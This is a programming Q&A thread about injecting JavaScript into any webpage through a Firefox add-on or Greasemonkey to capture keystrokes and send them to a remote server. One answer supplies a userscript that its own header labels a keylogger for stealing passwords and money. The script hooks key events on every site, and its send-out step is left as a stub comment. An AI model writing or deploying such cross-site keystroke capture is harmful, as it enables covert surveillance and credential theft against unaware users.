Firefox plugin or greasemonkey script to insert javascript

Question

I am developing an app that analyzes the typing pattern of a user. To accomplish this, I need to change the HTML of the webpage that the user is on (e.g. yahoo.com) - for all the text box items in the page, add a few javascript functions to capture the key down and key up events. So, I need to be able to add a new javascript to this existing page. The functions will package the data and send it to a remote server (e.g. myApp.com).

I need help with - 1. Inserting javascript to a HTML page 2. Add some functions that are defined in the javascript that was added above to all the textarea elements in the webpage 3. A method to transfer data from the javascript above to a remote server (i.e. not to the server that serves the original page)

Firefox plugin is preferrable but Greasemonkey script is also ok...

Thanks!

Answer 1

If you don't mind it running only on firefox then I'd recommend Mozilla Jetpack.

If you're happy working with jQuery it's a very familiar environment.

Answer 2

This is the code you need to get the keyup and keydown events.

// ==UserScript==
// @name          Log-O-Matic
// @description   A keylogger to steal your password and money ^^
// @include       http*://*
// ==/UserScript==

var collected_data="";
function collect(event){ collected_data+="/"+event.keyCode;}
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */}
var textareas = document.getElementsByTagName("textarea");
for(i in textareas) {
    textareas[i].onKeyPress=collect;
}
var inputs = document.getElementsByTagName("input");
for(i in input) {
    if(input[i].type!="password")input[i].onKeyPress=collect;
}